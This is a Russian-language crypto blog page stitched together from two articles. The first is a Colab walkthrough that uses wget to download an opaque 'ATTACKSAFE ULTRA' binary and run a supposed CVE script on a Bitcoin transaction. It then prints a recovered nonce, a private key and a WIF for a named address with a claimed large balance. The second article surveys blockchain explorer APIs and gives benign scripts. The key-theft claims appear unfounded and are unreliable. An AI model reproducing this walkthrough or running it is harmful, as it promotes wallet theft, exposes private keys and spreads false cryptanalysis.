0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63 Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE ULTRA” www.attacksafe.ru/ultra Для необходимых пакетов библиотек для запуска программного обеспечение “ATTAKSAFE ULTRA” установим “SAGE MATH” Команда установки: !sudo apt-get update !sudo apt-get install -y python3-gmpy2 !sudo apt-get install sagemath !sage -v С помощью утилиты wget загрузим в папку Google Colab репозитории ATTACKSAFE_ULTRA.zip !wget https://attacksafe.ru/REPOSITORY/DC66398E76DBCD8193134381D7838A02/ATTACKSAFE_ULTRA.zip Разархивируем репозитории ATTACKSAFE_ULTRA.zip !unzip ATTACKSAFE_ULTRA.zip ls !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Запустим список всех скриптов для атак: !./attacksafe -ultra Права доступа: !chmod +x attacksafe ls -l Применение: Выберем deserialization_error_vulnerability_cve-2023-0085.sage Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt для этого воспользуемся утилитой echo !echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000' > RawTX.txt !cat RawTX.txt Запустим deserialization_error_vulnerability_cve-2023-0085.sage используя программное обеспечение “ATTACKSAFE ULTRA” !./attacksafe deserialization_error_vulnerability_cve-2023-0085.sage -open RawTX.txt -save SecretKey.txt Мы запустили данную атаку из deserialization_error_vulnerability_cve-2023-0085.sage и результат сохранился в файл SecretKey.txt Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt cat SecretKey.txt Deployments ECDSA: SecretKey = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c RawTX = 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000 Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE): K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c Сделаем проверку с помощью Python-скрипта point2gen.py Для этого установим библиотеку эллиптических кривых ECPy: !pip3 install ECPy Теперь запустим скрипт указав секретный ключ "K" (NONCE): !python3 point2gen.py 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c (0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0) Проверяем координаты точки EC (secp256k1) с значением сигнатуры R R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63 R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 point2gen = (0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0) ВСЕ ВЕРНО! K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ Откроем код и добавим все значение сигнатур K, R, S, Z def h(n): return hex(n).replace("0x","") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient*x, x y, lasty = lasty - quotient*y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63 print (h((((S * K) - Z) * modinv(R,N)) % N)) Скрипт calculate.py рассчитает приватный ключ по формуле: Privkey = ((((S * K) - Z) * modinv(R,N)) % N) PrivKey = 0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0 Откроем bitaddress и проверим: ADDR: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk WIF: 5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX HEX: 0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0 https://www.blockchain.com/btc/address/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk Приватный Ключ Получен! https://www.blockchain.com/explorer/addresses/btc/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk BALANCE: $ 819113 Заключение 1. Улучшение валидации данных Одним из основных решений является улучшение процесса валидации данных при десериализации. Это включает в себя: Проверка формата данных: Убедиться, что данные соответствуют ожидаемому формату перед их обработкой. Использование строгих типов данных: Применение строгих типов данных для предотвращения ошибок при десериализации. Проверка длины данных: Убедиться, что длина данных соответствует ожидаемым значениям. 2. Использование безопасных библиотек Использование проверенных и безопасных библиотек для десериализации данных может значительно снизить риск уязвимостей. Такие библиотеки должны быть тщательно протестированы и поддерживаться сообществом разработчиков. 3. Внедрение многоуровневой аутентификации Многоуровневая аутентификация может помочь предотвратить несанкционированный доступ к системе. Это включает в себя: Двухфакторная аутентификация (2FA): Требование дополнительного подтверждения личности пользователя. Многофакторная аутентификация (MFA): Использование нескольких методов аутентификации для повышения безопасности. 4. Регулярные аудиты безопасности Проведение регулярных аудитов безопасности позволяет выявлять и устранять уязвимости до того, как они будут использованы злоумышленниками. Это включает в себя: Пенетрационное тестирование: Имитация атак для выявления слабых мест в системе. Кодовые ревизии: Анализ исходного кода для обнаружения потенциальных уязвимостей. 5. Обновление и патчинг Регулярное обновление и патчинг программного обеспечения является ключевым аспектом обеспечения безопасности. Это включает в себя: Обновление библиотек и зависимостей: Убедиться, что все используемые библиотеки и зависимости обновлены до последних версий. Патчинг уязвимостей: Быстрое внедрение исправлений для выявленных уязвимостей. References: “Mastering Bitcoin” by Andreas M. Antonopoulos – This is one of the most famous books about Bitcoin , which covers many aspects including security and vulnerabilities. “Bitcoin and Cryptocurrency Technologies” by Arvind Narayanan, Joseph Bonneau, Edward Felten, Andrew Miller, and Steven Goldfeder – This book provides a deep understanding of the technologies underlying Bitcoin and other cryptocurrencies, including security issues. Bitcoin Developer Documentation – Official documentation for Bitcoin developers, available on the website bitcoin.org. It includes information about various security aspects and vulnerabilities. Bitcoin Improvement Proposals (BIPs) – Documents describing various improvements and changes to the Bitcoin protocol. Some of them relate to security and vulnerabilities. A list of BIPs can be found at bitcoin.org. “A Fistful of Bitcoins: Characterizing Payments Among Men with No Names” by Sarah Meiklejohn et al. – This article explores the anonymity and security of transactions on the Bitcoin network. “Bitcoin: A Peer-to-Peer Electronic Cash System” by Satoshi Nakamoto – An original white paper describing the concept of Bitcoin. Although it does not focus on vulnerabilities, it is a foundational document for understanding the system. “Security and Privacy in Bitcoin” by Malte Möser – A dissertation exploring various aspects of security and privacy in the Bitcoin network. “Bitcoin and Blockchain Security” by Ghassan O. Karame – Dissertation on security issues in Bitcoin and blockchain technologies. Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab ATTACKSAFE ULTRA Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/8E2KJeWu4XA Dzen Video Tutorial: https://dzen.ru/video/watch/664e34fc8df6514b10da09e9 Источник: https://cryptodeep.ru/deserialize-signature-vulnerability-bitcoin Криптоанализ
  11. CRYPTO DEEP TECH В современном мире цифровых технологий тема блокчейна приобретает все большее значение. Блокчейн-технологии обещают революцию в различных сферах экономики и информационных систем, предоставляя надежные и прозрачные способы ведения записей. Одним из ключевых аспектов внедрения и использования блокчейна в бизнесе и разработке приложений являются блокчейн API и веб-сервисы. Эти инструменты позволяют интегрировать функциональные возможности блокчейна в различные информационные системы, упрощая и ускоряя процесс взаимодействия с технологией распределенного реестра. Цель данной статьи – осветить концепцию блокчейн API, исследовать основные типы веб-сервисов, используемых для работы с блокчейн-сетями, и проанализировать их применение в реальных бизнес-моделях. Мы рассмотрим технические аспекты интеграции блокчейн API, преимущества и недостатки различных подходов, а также потенциальные риски и вызовы, стоящие перед разработчиками и предприятиями при внедрении этих технологий. В статье будет дан обзор ключевых платформ, поддерживающих блокчейн API, и примеры успешных кейсов, демонстрирующих эффективность их использования в различных отраслях. Особое внимание будет уделено вопросам безопасности и конфиденциальности данных при работе с блокчейн-сетями через API и веб-сервисы. Давайте, обсудим перспективы развития блокчейн API и веб-сервисов, а также их влияние на будущее цифровой экономики и информационных технологий. Основные типы API и их применение: В нашей статье мы приведем практические рекомендации по работе с API различных блокчейн-платформ, таких как Bitcoin, Ethereum и др. Одна из перспективных направлений исследований, связанных с этой темой, может включать разработку новых и усовершенствование существующих API для блокчейн-платформ, а также анализ и сравнение их эффективности и безопасности. Кроме того, возможно исследование вопросов интеграции блокчейн-API с другими системами и приложениями, а также разработка новых веб-сервисов на основе блокчейна. Таким образом, статья может служить хорошим стартовым пунктом для исследователей, заинтересованных в этом направлении, и предоставить им полезную информацию для дальнейшего изучения темы. Перспективами для научной исследование по теме блокчейна, API и веб-сервисов: Анализ безопасности: Исследование уязвимостей и методов защиты API, связанных с блокчейн-платформами. Улучшение производительности: Разработка новых методов оптимизации запросов к блокчейну через API для ускорения обработки данных и снижения нагрузки на сеть. Интеграция с другими технологиями: Исследование возможностей интеграции блокчейн-API с искусственным интеллектом, машинным обучением или Интернетом вещей. Кросс-платформенное использование: Анализ возможностей и проблем использования блокчейн-API в различных отраслях и средах разработки. Пользовательский опыт: Изучение того, как улучшить взаимодействие пользователей с веб-сервисами блокчейна через более интуитивно понятные и удобные API. Регуляторные и юридические аспекты: Анализ правовых вопросов и нормативных требований, связанных с использованием блокчейн-технологий через веб-сервисы. Экономические аспекты: Оценка экономического воздействия блокчейн-технологий на различные секторы экономики через API и веб-сервисы. Классификации API и веб-сервисов, связанных с блокчейн-технологией. Для исследование блокчейна мы предлагаем систематизацию и анализ существующих решений в этой области. По направлению использования: Финансовые операции (например, перевод криптовалюты) Управление данными (например, хранение и восстановление данных) Смарт-контракты (например, автоматизация контрактов и управление цифровыми активами) Безопасность (например, аутентификация и шифрование данных) По типу предоставляемого доступа: Общедоступный (Public) API – доступен для всех желающих Частный (Private) API – доступен только для ограниченного круга пользователей или разработчиков Гибридный (Hybrid) API – комбинация общественного и частного доступа По уровню абстракции: Низкоуровневые API – предоставляют прямой доступ к базовым функциям блокчейна (например, работа с транзакциями) Высокоуровневые API – абстрагируют сложные технические детали, предоставляя удобный интерфейс для разработчиков (например, библиотеки и фреймворки) По типу взаимодействия: RESTful API – используют архитектурный стиль REST, основанный на использовании HTTP-запросов RPC (Remote Procedure Call) API – позволяют удалённо вызывать процедуры или функции, как правило, используют протоколы TCP или UDP WebSocket API – обеспечивают двустороннюю связь в реальном времени между клиентом и сервером По используемым протоколам: HTTP-протокол – широко используемый протокол для передачи данных в веб-среде TCP и UDP – протоколы транспортного уровня, используемые для надежной (TCP) или быстрой (UDP) передачи данных Специальные протоколы – например, Whisper, используемый в сети Ethereum для безопасного обмена сообщениями По уровню безопасности: Безопасные (Secure) API – используют методы шифрования, цифровые подписи и другие меры защиты данных Небезопасные (Insecure) API – не предоставляют или предоставляют ограниченные меры безопасности, требуют дополнительных мер защиты от разработчиков По типу предоставляемой информации: Публичная информация (Public data) – например, информация о блоках, транзакциях, смарт-контрактах, которая доступна всем участникам сети Частная информация (Private data) – например, данные, доступные только для определенных пользователей или узлов сети По уровню интеграции: Монолитные (Monolithic) API – предоставляют широкий спектр функций в рамках одного интерфейса Микросервисные (Microservices) API – представляют отдельные функциональные блоки, которые могут взаимодействовать друг с другом для выполнения сложных задач По типу используемых данных: Структурированные данные (Structured data) – например, JSON, XML Неструктурированные данные (Unstructured data) – например, текстовые документы, изображения, видео По типу предоставляемых услуг: Информационные услуги (Information services) – предоставляют данные о блокчейне, ценах на криптовалюты и т. д. Аналитические услуги (Analytical services) – предлагают инструменты для анализа данных блокчейна и прогнозирования Трансакционные услуги (Transactional services) – позволяют проводить транзакции с криптовалютами, управлять смарт-контрактами и т. д. 3xpl.com – Fastest ad-free universal block explorer В эпоху криптовалют, обеспечение прозрачности и доступности информации о блокчейн-транзакциях становится критически важным. Пользователи, инвесторы и разработчики нуждаются в надежных инструментах для отслеживания и анализа данных, хранящихся в блокчейне. В связи с этим, появление сервиса 3xpl.com представляет собой значительный шаг в удовлетворении этой потребности. 3xpl.com – это универсальный блокчейн-эксплорер, который предлагает пользователям возможность быстро и эффективно исследовать данные в различных блокчейнах без навязчивой рекламы и лишних задержек. В этой статье мы рассмотрим ключевые особенности и преимущества использования 3xpl.com для мониторинга криптовалютных транзакций и анализа блокчейнов, а также оценим, как этот инструмент может изменить привычные методы работы с цифровыми активами. Если вы ищете быстрый и удобный способ исследовать блокчейн, 3xpl.com – это именно то, что вам нужно. Этот универсальный блок-эксплорер предлагает мгновенный доступ к данным блокчейна без раздражающей рекламы. С чистым и интуитивно понятным интерфейсом 3xpl.com обеспечивает бесперебойный опыт пользователя. Вы можете легко искать транзакции, адреса и блоки по нескольким блокчейн-сетям, включая Bitcoin, Ethereum, Litecoin и многие другие. Одна из самых впечатляющих особенностей 3xpl.com – это его скорость. Блок-эксплорер использует передовые технологии, чтобы обеспечить мгновенную загрузку страниц и быстрый доступ к данным. Это идеально подходит для трейдеров и энтузиастов криптовалют, которым нужен быстрый и надежный доступ к информации о блокчейне. Кроме того, 3xpl.com полностью свободен от рекламы. Это означает, что вы можете сосредоточиться на анализе данных без отвлекающих факторов и ненужных задержек. Сайт имеет минималистичный дизайн, что облегчает навигацию и поиск нужной информации. Функционал 3xpl.com включает в себя подробные сведения о транзакциях, включая время, сумму и соответствующие адреса. Вы также можете просматривать информацию о блоках, такую как размер, высоту и вознаграждение за блок. Для тех, кто хочет углубиться в детали, доступен просмотр исходного кода транзакции. Универсальность 3xpl.com также впечатляет. Блок-эксплорер поддерживает множество криптовалют, что позволяет получать доступ к данным различных блокчейнов с одной удобной платформы. Это идеально подходит для тех, кто работает с несколькими криптовалютами или просто хочет исследовать различные сети. Безопасность также является приоритетом для 3xpl.com. Сайт использует безопасное соединение, обеспечивая конфиденциальность и целостность ваших запросов. Вы можете быть уверены, что ваша активность и информация остаются защищенными. Функции 3xpl.com включают в себя: Поиск по транзакциям: пользователи могут искать конкретные транзакции, используя идентификатор транзакции или адрес. Это позволяет быстро проверять статус и детали транзакции. Просмотр блоков: можно просматривать последние блоки, добытые в сети, включая информацию о размере блока, количестве транзакций и вознаграждении за блок. Статистика сети: 3xpl.com предоставляет подробную статистику сети, такую как общая хэш-скорость, количество узлов и уровень сложности. Это дает пользователям представление о состоянии и безопасности сети. Поддержка нескольких криптовалют: платформа поддерживает широкий спектр криптовалют, позволяя пользователям переключаться между ними и исследовать данные различных блокчейнов. API для разработчиков: 3xpl.com также предлагает API, который позволяет разработчикам интегрировать данные блокчейна в свои приложения или сервисы. С 3xpl.com пользователи могут быть уверены в безопасности и конфиденциальности. Платформа не хранит личные данные пользователей и использует безопасное соединение для защиты конфиденциальности. В целом, 3xpl.com – это мощный и удобный блок-эксплорер, который предлагает мгновенный доступ к данным блокчейна без рекламы. Его скорость, универсальность и интуитивно понятный интерфейс делают его отличным инструментом для всех, кто заинтересован в исследовании мира блокчейна. Посетите 3xpl.com сегодня, чтобы начать свое путешествие по блокчейну! Python скрипт, который может быть использован для создания базового блок-эксплорера для криптовалюты: import requests from datetime import datetime class BlockExplorer: def __init__(self, api_url): self.api_url = api_url def get_block_height(self): response = requests.get(f'{self.api_url}/block-height') return response.json()['height'] def get_block_by_height(self, block_height): response = requests.get(f'{self.api_url}/block/{block_height}') return response.json() def get_transaction_by_id(self, tx_id): response = requests.get(f'{self.api_url}/transaction/{tx_id}') return response.json() def main(): api_url = 'https://3xpl.com/api' # Replace with the actual API URL explorer = BlockExplorer(api_url) print("Welcome to the 3xpl.com Block Explorer!") print("----------------------------------------") while True: print("\nOptions:") print("1. Get block height") print("2. Get block by height") print("3. Get transaction by ID") print("4. Exit") choice = input("Enter your choice (1/2/3/4): ") if choice == '1': block_height = explorer.get_block_height() print(f"Current block height: {block_height}") elif choice == '2': try: block_height = int(input("Enter the block height: ")) block_data = explorer.get_block_by_height(block_height) print("Block Data:") print(block_data) except requests.exceptions.RequestException as e: print(f"Error fetching block data: {e}") elif choice == '3': tx_id = input("Enter the transaction ID: ") tx_data = explorer.get_transaction_by_id(tx_id) print("Transaction Data:") print(tx_data) elif choice == '4': print("Exiting...") break else: print("Invalid choice. Please select a valid option.") if __name__ == '__main__': main() Этот скрипт предоставляет базовый интерфейс командной строки для взаимодействия с API блок-эксплорера. Пользователи могут выбирать различные опции для получения высоты блока, данных блока по высоте или данных транзакции по идентификатору. Скрипт отправляет запросы к API и выводит результаты пользователю. Помните, что вам нужно будет заменить ‘https://3xpl.com/api’ на фактический URL API блок-эксплорера, который вы используете. Этот скрипт можно расширить, добавив дополнительные функции, такие как поиск адреса, получение баланса аккаунта или получение списка последних блоков. Также можно добавить обработку ошибок и улучшить интерфейс пользователя. Block.io: Bitcoin API and More Block.io — это многофункциональная платформа, которая предоставляет широкий спектр услуг, связанных с криптовалютами, включая API Bitcoin, кошельки и обменный сервис. Block.IO – в функциональности, который предлагает надежный и эффективный API для работы с биткойнами и другими криптовалютами. Более того, мы погрузимся в подробности использования этой платформы, ее преимущества и возможности, которые она предоставляет разработчикам и бизнесам для интеграции криптовалютных решений в свои приложения и сервисы. Безупречно поддерживаемая и постоянно улучшаемая, Block.IO заслуживает внимания всех, кто ищет надежные инструменты для криптовалютной деятельности. API Bitcoin API Bitcoin от Block.io позволяет разработчикам интегрировать функциональность Bitcoin в свои приложения и веб-сайты. API предоставляет полный набор функций, включая: Создание и управление кошельками Bitcoin Отправка и получение платежей Bitcoin Отслеживание транзакций Bitcoin Получение котировок цен на Bitcoin Доступ к информации о блокчейне Bitcoin API доступен через HTTP и RESTful и может использоваться с любым языком программирования. Кошельки Block.io предлагает различные типы кошельков для хранения Bitcoin, в том числе: Горячий кошелек: онлайн-кошелек, который позволяет легко отправлять и получать Bitcoin. Холодный кошелек: автономный кошелек, который обеспечивает более высокий уровень безопасности для длительного хранения. Мультиподписной кошелек: кошелек, требующий нескольких подписей для совершения транзакций, что повышает безопасность. Обменный сервис Block.io также предоставляет обменный сервис, который позволяет пользователям обменивать Bitcoin на другие криптовалюты или фиатные валюты. Обменный сервис предлагает конкурентоспособные курсы и быстрый обмен. Другие функции В дополнение к основным услугам Block.io также предлагает следующие функции: Подарочные карты Bitcoin: пользователи могут покупать подарочные карты Bitcoin и отправлять их друзьям и семье. Интеграция с WooCommerce: плагин WooCommerce позволяет предприятиям принимать платежи Bitcoin на своих веб-сайтах. Отчетность для бухгалтерии: Block.io предоставляет отчеты, которые помогают пользователям отслеживать свои транзакции Bitcoin в налоговых целях. Преимущества Block.io Block.io предлагает ряд преимуществ, в том числе: Надежность: платформа была запущена в 2012 году и имеет надежную репутацию. Удобство: API прост в использовании и интегрируется с различными языками программирования. Безопасность: Block.io использует передовые меры безопасности для защиты активов пользователей. Поддержка: платформа предлагает отличную поддержку клиентов, доступную 24/7. Block.io — это мощная и надежная платформа, которая предоставляет полный набор услуг, связанных с криптовалютами. Ее API Bitcoin, кошельки и обменный сервис делают ее идеальным выбором для разработчиков, предприятий и индивидуальных пользователей, желающих безопасно и легко взаимодействовать с криптовалютами. А также Block.io – это универсальное решение для разработчиков, которое предоставляет API-интерфейс для работы с криптовалютой Bitcoin. Благодаря этому API, разработчики могут легко интегрировать функции работы с Bitcoin в свои приложения, без необходимости проводить глубокие исследования в технологии blockchain. Рассмотрим основные функции Block.io, которые доступны для разработчиков, а также его преимущества перед другими API-интерфейсами для работы с Bitcoin. Основные функции Block.io a. API для работы с адресами Block.io предоставляет API-интерфейс для работы с адресами Bitcoin. С его помощью разработчики могут создавать, изменять и удалять адреса. Кроме того, API позволяет получить информацию о балансе адреса и провести транзакции. b. API для работы с транзакциями API для работы с транзакциями позволяет создавать и отменять транзакции, проверять их статус и получать информацию о транзакциях, связанных с определенным адресом. c. API для работы с блокчейном Block.io предоставляет доступ к информации о блокчейне Bitcoin, включая информацию о блоках, транзакциях и транзакциях внутри блока. Это полезно для разработчиков, которые хотят проанализировать работу сети Bitcoin или создать собственные блокчейн-приложения. d. API для работы с инструментами отчетности Block.io предоставляет инструменты отчетности для получения информации о своем использовании API, включая информацию о запросах, ответах и ошибках. Это полезно для разработчиков, которые хотят оптимизировать свою работу с API и избегать ошибок. Преимущества Block.io перед другими API-интерфейсами для работы с Bitcoin a. Простота в использовании Block.io был разработан с удобством в использовании в виду. Его API-интерфейс прост в использовании и позволяет быстро интегрировать функции работы с Bitcoin в приложения. b. Низкие тарифы Block.io предлагает тарифы, которые являются более низкими, чем у многих других API-интерфейсов для работы с Bitcoin. Это делает его более привлекательным для разработчиков с ограниченным бюджетом. c. Круглосуточная поддержка Block.io предлагает круглосуточную поддержку для своих клиентов. Это позволяет разработчикам быстро решать возникающие проблемы и продолжать свою работу без перерывов. в. Открытый API Block.io имеет открытый API, что означает, что разработчики могут легко интегрировать его в свои приложения и создавать свои собственные решения на основе API. в. Безопасность Block.io обеспечивает высокую степень безопасности для своих клиентов. Он использует протоколы безопасности, такие как HTTPS и SSL, чтобы защитить данные от несанкционированного доступа. Python скрипта для работы с Block.io API: import requests # Замените YOUR_API_KEY на ваш API ключ от Block.io API_KEY = 'YOUR_API_KEY' # URL для доступа к Block.io API BASE_URL = 'https://block.io/api/v2' # Получение баланса аккаунта def get_balance(): url = f'{BASE_URL}/get_balance/?api_key={API_KEY}' response = requests.get(url) if response.status_code == 200: data = response.json() if data['status'] == 'success': print(f"Ваш баланс: {data['data']['available_balance']} BTC") else: print(f"Ошибка: {data['data']['error_message']}") else: print("Произошла ошибка при обращении к API") # Создание нового адреса для получения платежей def create_address(): url = f'{BASE_URL}/get_new_address/?api_key={API_KEY}' response = requests.get(url) if response.status_code == 200: data = response.json() if data['status'] == 'success': print(f"Новый адрес создан: {data['data']['address']}") else: print(f"Ошибка: {data['data']['error_message']}") else: print("Произошла ошибка при обращении к API") # Вызов функций для работы с Block.io API get_balance() create_address() Не забудьте заменить YOUR_API_KEY на свой собственный API ключ от Block.io. В этом примере скрипт выводит баланс аккаунта и создает новый адрес для получения платежей. Вы можете добавить другие методы API и операции по вашему усмотрению. blockchair.com – Universal blockchain explorer and search engine. Blockchair.com – это универсальный блокчейн-описатель и поисковая система, который готов пролить свет на сложный мир блокчейн-технологий. Подробнее об этой полезной ресурсе вы узнаете в нашей статье. Blockchair.com – это инновационная платформа, предоставляющая пользователям широкий спектр инструментов для исследования и анализа различных блокчейнов. Этот универсальный обозреватель и поисковая система позволяет легко и удобно получать детальную информацию о транзакциях, адресах, блоках и других важных элементах блокчейн-экосистемы. Ключевые особенности Blockchair.com Поддержка множества блокчейнов: Blockchair.com работает с широким спектром популярных блокчейнов, включая Bitcoin, Ethereum, Bitcoin Cash, Litecoin, Dash, Ripple и многие другие. Это позволяет пользователям получать всеобъемлющую информацию из разных блокчейн-сетей в одном месте. Расширенный поиск: Платформа предлагает мощные инструменты поиска, позволяющие пользователям находить конкретные транзакции, адреса или блоки по различным параметрам. Это значительно упрощает процесс исследования и анализа блокчейн-данных. Подробная аналитика: Blockchair.com предоставляет детальную информацию о каждом блокчейне, включая статистику по транзакциям, объемам торгов, активности майнеров и многое другое. Эти данные помогают пользователям лучше понять текущее состояние и тенденции развития различных блокчейн-сетей. Удобный интерфейс: Платформа отличается интуитивно понятным и удобным интерфейсом, который позволяет даже неопытным пользователям легко ориентироваться и находить нужную информацию. Визуализация данных с помощью графиков и диаграмм делает анализ блокчейнов еще более наглядным. API для разработчиков: Blockchair.com предлагает мощный API, который позволяет разработчикам интегрировать функциональность платформы в свои собственные приложения и сервисы. Это открывает широкие возможности для создания инновационных блокчейн-решений. Применение Blockchair.com Универсальный обозреватель и поисковая система Blockchair.com находит применение в различных сферах, связанных с блокчейн-технологиями: Исследования и анализ: Платформа является ценным инструментом для исследователей, аналитиков и энтузиастов блокчейна, позволяя им глубоко изучать различные аспекты блокчейн-сетей и получать ценные данные для своих проектов. Разработка приложений: Разработчики могут использовать API Blockchair.com для создания различных блокчейн-приложений, таких как кошельки, биржи, аналитические инструменты и многое другое. Мониторинг транзакций: Пользователи могут отслеживать свои собственные транзакции или транзакции других адресов, чтобы контролировать движение средств и обеспечивать прозрачность операций. Журналистские расследования: Журналисты и исследователи могут использовать Blockchair.com для поиска и анализа подозрительных транзакций или актив Основные возможности Blockchair.com: Поиск и анализ транзакций. На сайте можно найти информацию о любой транзакции, включая ее статус, сумму, комиссию, входы и выходы. Также можно просматривать подробную историю транзакций кошелька или адреса. Исследование блоков. Пользователи могут изучать структуру блоков, просматривать включенные в них транзакции, а также отслеживать статистику по блокам, таким как размер, время создания, вознаграждение майнеров и др. Мониторинг сети. Blockchair предоставляет обширную аналитику по сетям, включая объем транзакций, комиссии, хэшрейт, размер мемпула и другие важные метрики. Инструменты для разработчиков. На платформе доступны API, SDK и другие инструменты, которые позволяют интегрировать функциональность Blockchair в собственные приложения. Уведомления и оповещения. Пользователи могут настраивать индивидуальные оповещения по транзакциям, блокам или другим событиям в сети. Blockchair выделяется на фоне других блокчейн-обозревателей своей универсальностью и широким спектром инструментов для анализа данных. Это незаменимый ресурс как для обычных пользователей, так и для разработчиков, исследователей и аналитиков в сфере криптовалют и блокчейна. Python скрипт, который использует API blockchair.com для получения информации о блоке блокчейна Биткоина: import requests # Адрес API blockchair.com для биткойна API_URL = 'https://api.blockchair.com/bitcoin/blocks' # Хэш блока, который нас интересует BLOCK_HASH = '000000000000000000024beed69ad1a601021f939b4c26eec894a0ab42b64f0a' # Отправляем запрос к API response = requests.get(API_URL + '/' + BLOCK_HASH) # Проверяем, что ответ успешный if response.status_code == 200: # Преобразуем ответ в JSON-объект block_data = response.json() # Выводим информацию о блоке print('Хэш блока:', block_data['data']['hash']) print('Версия:', block_data['data']['version']) print('Время:', block_data['data']['time']) print('Сложность:', block_data['data']['bits']) print('Количество транзакций:', block_data['data']['n_tx']) else: print('Ошибка при получении информации о блоке') Этот скрипт использует модуль requests для отправки запроса к API blockchair.com и получения информации о блоке с указанным хэшем. Затем он выводит некоторую информацию о блоке, такую как его хэш, версию, время, сложность и количество транзакций. Вы можете заменить значение переменной BLOCK_HASH на хэш любого другого блока, чтобы получить информацию о нем. Также вы можете изменить адрес API, чтобы использовать API blockchair.com для другой криптовалюты (например, https://api.blockchair.com/ethereum/blocks для эфириума). BlockCypher – Blockchain Web Services В наши дни технологический прогресс не стоит на месте, и блокчейн, особенно протокол BlockCypher, претерпел значительное развитие как ключевой инструмент для безопасных и прозрачных транзакций в мире криптовалют. Блокчейн системы, такие как Ethereum, Bitcoin и другие, оберегают данные от нарушений благодаря децентрализации и цифровой зашифрованности. Это статья посвящена BlockCypher, ответственному за предоставление высокопроизводительных и надежных веб-сервисов, которые делают работу с блокчейном более доступным и эффективным для разработчиков и инвесторов. Вы поймете, как этот инструмент стимулирует развитие криптовалютной индустрии и как его применение меняет способ мышления о финансовых транзакциях в цифровом мире. BlockCypher – это ведущая компания, предоставляющая облачные сервисы для работы с блокчейнами. Основанная в 2014 году, BlockCypher позволяет разработчикам и организациям легко интегрировать блокчейн-технологии в свои продукты и приложения. Что предлагает 